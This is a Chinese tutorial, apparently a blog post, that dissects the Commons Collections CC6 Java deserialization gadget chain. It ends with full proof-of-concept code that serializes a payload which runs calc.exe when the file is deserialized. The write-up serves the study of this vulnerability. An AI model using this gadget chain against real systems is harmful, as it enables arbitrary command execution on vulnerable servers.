注意:
有关于反序列化漏洞的相关介绍在文章Java 中 DNS 反序列化漏洞的分析与复现已经有所描述,本文不在对此方面进行赘述。
一、Apache Commons Collection
CC链涉及到一个框架 。Apache Commons Collections 。
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具 类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。可以在Apache官网下载CC的jar文件和源代码,用于代码审计。Collections – Home ,本教程以3.2.1版本为例,JDK版本必须在1.8.0_71以下,检测java版本:
因为之后的版本无法利用 sun.reflect.annotation.AnnotationInvocationHandler 类进行反序列化处理。可以在此下载JDK源码:https://hg.openjdk.org/jdk8u/jdk8u60/jdk/file/935758609767/src/share/classes (此版本针对1.8.0_60,如果是其他版本,则浏览 OpenJDK Mercurial Repositories 即可)。
Java集合框架:称为Collection,是Java中存在的一系列操作List、Set和Map的类的集合。Commons Collections扩展了集合框架,增强了很多功能。
二、cc的简单运用
引入cc代码,放入位置,如图一:
图一
代码:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
对比应用。如图二:
图二
具体代码:
public static void main(String[] args) {
Map<String,String> maps = new HashMap<>();
maps.put("one","anhui");
maps.put("two","beijing");
maps.put("three","shanghai");
maps.put("four","guangdong");
maps.put("five","shenzhen");
//entrySet();方法是Map接口中的方法,返回的是一个Set集合,Set集合中的元素是一个Map.Entry<String, String>对象,也就是 键值对 对象(键和值)
Set<Map.Entry<String,String>> entries = maps.entrySet();
for(Map.Entry<String,String> entry:entries){
System.out.println(entry.getKey()+"="+entry.getValue());
}
System.out.println("==============================");
//cc的简单使用,创建有序的Map集合:OrderedMap
OrderedMap orderedMap = new LinkedMap();
orderedMap.put("one","anhui");
orderedMap.put("two","beijing");
orderedMap.put("three","shanghai");
orderedMap.put("four","guangdong");
orderedMap.put("five","shenzhen");
Set sets= orderedMap.keySet();
for(Object key:sets){
System.out.println(key+"="+orderedMap.get(key));
}
}
感兴趣的,更多有关于cc的使用方法:https://cloud.tencent.com/developer/article/1497565
三、cc6
1、确认cc6执行链的终点:InvokerTransformer.class,位置:
//终点所在位置
package org.apache.commons.collections.functors;
如图三:
图三
通过对InvokerTransformer.class代码观察到,该类并虽然可序列化,但是从直观上来看并没有重写readObject,先具体确定到漏洞产生的终点的方法:public Object transform,代码如下:
public class InvokerTransformer implements Transformer, Serializable {
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
}
对该方法进行基本的分析,如图四:
图四
在上文中找到关于这三个参数的定义以及利用着三个参数构造出的一个全参的构造方法,结合上面的代码,如下:
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
}
因为只有利用这个全参的构造方法去创建一个对象,然后新创建的对象就可以调用 public Object transform方法,然后产生漏洞。而漏洞的原因就是:三个参数和transform方法中的反射而导致,下面我们就具体分析。
2、构建终点的POC代码
先分析transform方法,如图五:
图五
看起来并没有漏洞可以利用,但是,如果将iMethodName方法构造成exec,再将iArgs参数赋值为calc.exe,那么是否就可以是系统打开计算机呢?
先展示构建出的POC代码:
public static void main(String[] args) {
//根据那三个参数来定义变量,注意要给变量赋null值,这是因为,在main方法中定义的变量是局部变量,必须有个初始值
String iMethodName = "exec";
//使用了反射获取对象三种方式之一:Class 自定义变量名 = new 类名.自定义变量名();
//iParamTypes是Class类型的数组,然后创建唯一一个元素为:String类型的反射
Class[] iParamTypes = new Class[]{String.class};
//iArgs是Object类型的数组,然后创建唯一一个元素为:calc.exe的字符串
Object[] iArgs = new Object[]{"calc.exe"};
//使用全参构造方法,创建InvokerTransformer对象
InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName,iParamTypes,iArgs);
//获取Runtime对象,Runtime是private的,需要使用它的getRuntime方法来获取
Runtime runtime = Runtime.getRuntime();
//由于invokerTransformer的transform方法返回的是Object类型,是所有类的父类,所以可以传Runtime类的参数
invokerTransformer.transform(runtime);
}
如下图五,展示运行结果,成功打开计算机:
图五
让我来解释构建POC代码的逻辑:
首先明确一个目标就是想要执行exec,而在java中Runtime类就有此种方法,但是Runtime类是被private修饰的,因此我们需要先使用它本身自带的getRuntime的方法来获取Runtime对象——runtime。而transform方法中正好有此代码,如图六:
图六
然后使用反射获取runtime的class对象,然后使用反射获取方法:Method method = cls.getMethod(); 而而transform方法中正好有此代码,如图七:
图七
最后使用invoke方法在传递参数后执行该方法 ,分析如图八:
图八
经过分析后,我们可以发现tranform方法完美的符合POC代码执行链,只需要将对应的参数设置好,先利用全参的构造方法创建invokerTransformer对象,然后调用tranform方法。
3、从终点推导到起点
(1)第一步:谁调用了tranform方法
如图九,进行追踪
图九
图十
正确方向:CHaineTransformer类,位置如下图所示:
在该类中锁定执行链的具体位置为如下代码:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
让我们来分析为什么是这串代码的原因,值得注意的是在构建POC代码的过程中,该方法的部分是整个过程最难的 。
首先,我们锁定CHaineTransformer类最主要的几个部分,代码如下:
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
//用于构建ChainedTransformer对象的构造方法
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
就上述代码来进行初步的分析,首先对于变量:private final Transformer[] iTransformers;,我们目前还不知其作用,然后对于后面的对象构造方法和transform方法之间关系可以理解为在POC代码中创建了ChainedTransformer对象,然后调用transform方法。然后这样就可以执行我们终点时的POC代码In句,这是因为ChainedTransformer类的transform方法使用了invITransformer类中的transform方法。这两点之间的线就这样被我们构建起来了。
根据上一段的分析,我们来先构建POC代码的一部分,具体代码和分析如下:
public static void main(String[] args) {
//局部变量记得初始化
Transformer[] iTransformers={};
/**观察ChainedTransformer类中的获取其对象的构造方法:public ChainedTransformer(Transformer[] transformers)
* 可以知道需要传递一个参数,这个参数是Transformer[]类型的,所以在上面创建一个Transformer[]类型的数组
*/
ChainedTransformer chainedTransformer = new ChainedTransformer(iTransformers);
//对象创建完毕,开始调用transform方法
chainedTransformer.transform(null);
}
上面就是初步的代码构成,在前文的分析中我们知道,invITransformer类中的transform方法需要一些参数,只要我们能解决参数传递的问题,我们就能凭借这段代码来执行出计算器程序。
观察代码,由于Transformer[] iTransformers={};是数组形式,我们可以利用该特点将所需要的参数都存在这里,然后通过ChainedTransformer类的transform方法传给invITransformer类中的transform方法。通过流程图的方法进行推理。
根据上面的三张图的要求寻找,终于,在我们的不懈努力下找到了这个函数,如下图十一:
图十一
该类与之相关的代码如下:
public class ConstantTransformer implements Transformer, Serializable {
//该类唯一的属性
private final Object iConstant;
//该类全参的构造方法
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
/**
*该类的transform方法
*特点:不论input是什么,该方法都会返回其属性iConstant的值,而且该属性还是所有类的父类Object
**/
public Object transform(Object input) {
return this.iConstant;
}
}
根据代码中的特点来分析,如下图:
所以,如下图:
由于我们是从后往前推理的,因此对于数组iTransformers{}的两个元素的顺序应该如下:
Transformer[] iTransformers={
new ConstantTransformer(runtime),
//相当于InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName,iParamTypes,iArgs);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
这样这段POC代码在流程上就完美无缺了,让我们运行看看是否能调出来计算器程序,如图:
结果也是可看出我们的逻辑没有出现错误,这段POC完整代码如下:
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
//局部变量记得初始化
Transformer[] iTransformers={
new ConstantTransformer(runtime),
//相当于InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName,iParamTypes,iArgs);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
/**观察ChainedTransformer类中的获取其对象的构造方法:public ChainedTransformer(Transformer[] transformers)
* 可以知道需要传递一个参数,这个参数是Transformer[]类型的,所以在上面创建一个Transformer[]类型的数组
*/
ChainedTransformer chainedTransformer = new ChainedTransformer(iTransformers);
//对象创建完毕,开始调用transform方法
chainedTransformer.transform(null);
}
可根据代码再从头往后推,掌握该逻辑。
4、解决不能序列化的问题
在我上一篇文章中我们知道,反序列化漏洞最基本的三个条件就是:
(1)可序列化
(2)对readObject方法重写
(3)readObject方法中含有漏洞代码
而Runtime对象就不可以序列化,所以我们要解决这个问题
首先确保Runtime对象不能直接出现在POC代码中,但是我们可以利用反射来获取Runtime对象,这样就能够避免Runtime不可以反序列化的问题了 。
首先,我们利用反射的三个步骤来代替代码:
Runtime runtime = Runtime.getRuntime();
第一步:获取Runtime的Class对象。
第二步:获取Runtime的getRuntime方法的对象(Method)
第三步:调用执行Methon对象 具体代码如下:
//有关于反射的概念和用法,不懂的请查阅资料
Class runClass = Runtime.class;
Method method = runClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) method.invoke(runClass.newInstance(), null);
然后我们要在数组iTransformers加入多个元素用于替代上面写的三步,这样才能避免报错实现序列化。
第一步可生成元素:
new ConstantTransformer(Runtime.class)
获取到Runtime的Class对象。
第二步可生成元素:
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})
获取到getRuntime方法的方法对象。
第三步可生成元素:
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})
调用执行getRuntime方法的方法对象。
再次执行代码,如图十二:
图十二
报错解决成功,下面实验序列化是否成功,完整代码如下:
public class TestPoc_2 {
public static void main(String[] args) throws Exception {
String path = "E:\\se\\cc6.ser";
// Runtime runtime = Runtime.getRuntime();
// Class runClass = Runtime.class;
// Method method = runClass.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) method.invoke(runClass.newInstance(), null);
//局部变量记得初始化
Transformer[] iTransformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//相当于InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName,iParamTypes,iArgs);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
/**观察ChainedTransformer类中的获取其对象的构造方法:public ChainedTransformer(Transformer[] transformers)
* 可以知道需要传递一个参数,这个参数是Transformer[]类型的,所以在上面创建一个Transformer[]类型的数组
*/
ChainedTransformer chainedTransformer = new ChainedTransformer(iTransformers);
//对象创建完毕,开始调用transform方法
// chainedTransformer.transform(null);
Serial(path,chainedTransformer);
}
/**
* 序列化
* @param chainedTransformer
* @param path
* @throws Exception
*/
static void Serial(String path,ChainedTransformer chainedTransformer) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));
oos.writeObject(chainedTransformer);
oos.close();
}
}
运行结果如图十三:
图十三
序列化成功。
5、解决readObject问题
直接锁定下一条执行链结点:如图十四
图十四
注意到该类中的一个属性和构造方法,关键的完整代码如下:
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}
而且ChainedTransformer类和LazyMap类都是被Transformer, Serializable所修饰的,POC代码构建如下:
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
该类中并不能直接看出来起到了什么作用,所以我们再向上找是谁使用了get方法。
锁定下一个结点,如图:
在现实情况中,这个结点在你不知情的你可能会找很久 ,即便是找到了,你也不能确定是不是它,这就是代码审计的难点,一切都是未知的。
此类中关键代码如下,依旧是关键方法和对象的构造方法:
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
}
由于不知是否是它,那我们暂时不构建POC代码了,继续向上找。
还是锁定该类,其中有一个HashCode方法,代码如下:
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
不幸的是,依旧看不出来有什么可以利用的特点,接着向上找。
锁定下一个结点,如图十五:
图十五
但是该方法并没有反过来调用hash方法,为什么要找这样的hash方法呢,这是因为要满足反序列化时执行hash方法,这样就能反序列化成功,才会执行整个执行链,因此我们继续向上找。
锁定下一结点,如图十六
图十六
这就是起点了,分析原因:
put方法使用了putVal方法然后有执行hash(key)方法,接着执行hashCode方法以此类推直至执行完毕我们的漏洞代码,这代表着完美执行了我们的执行链,而在反序列化时必然执行readObjec,而readObject中就含有putVal方法的执行,这样,反序列化的执行链也能够成立,因此反序列化漏洞执行成成。
HashCode类中的readObject方法代码如下:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
6、完整执行链代码:
public class TestPoc_2 {
public static void main(String[] args) throws Exception {
String path = "E:\\se\\cc6.ser";
//局部变量记得初始化
Transformer[] iTransformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//相当于InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName,iParamTypes,iArgs);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
/**观察ChainedTransformer类中的获取其对象的构造方法:public ChainedTransformer(Transformer[] transformers)
* 可以知道需要传递一个参数,这个参数是Transformer[]类型的,所以在上面创建一个Transformer[]类型的数组
*/
ChainedTransformer chainedTransformer = new ChainedTransformer(iTransformers);
//对象创建完毕,开始调用transform方法
// chainedTransformer.transform(null);
//创建LazyMap对象
Map lazyMap = LazyMap.decorate(new HashMap(),new ConstantTransformer(null)); //保证序列化时 不要执行命令
//4 .创建一个 TiedMapEntry 对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"cc6");
//创建一个HashMap对象
Map map = new HashMap();
map.put(tiedMapEntry,"cc6"); // 会不会执行系统命令
//删除 woniu 的key值
lazyMap.remove("cc6");
// 在put方法之后 ,序列化之前 把chainedTransformer对象 赋值给 lazyMap
//利用反射
Class zclass = lazyMap.getClass();
Field factory = zclass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
//序列化
Serial(path,lazyMap);
//unSeril(path);
}
/**
* 序列化
* @param map
* @param path
* @throws Exception
*/
static void Serial(String path,Map map) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));
oos.writeObject(map);
oos.close();
}
static void unSeril(String path) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
ois.readObject();
ois.close();
}
}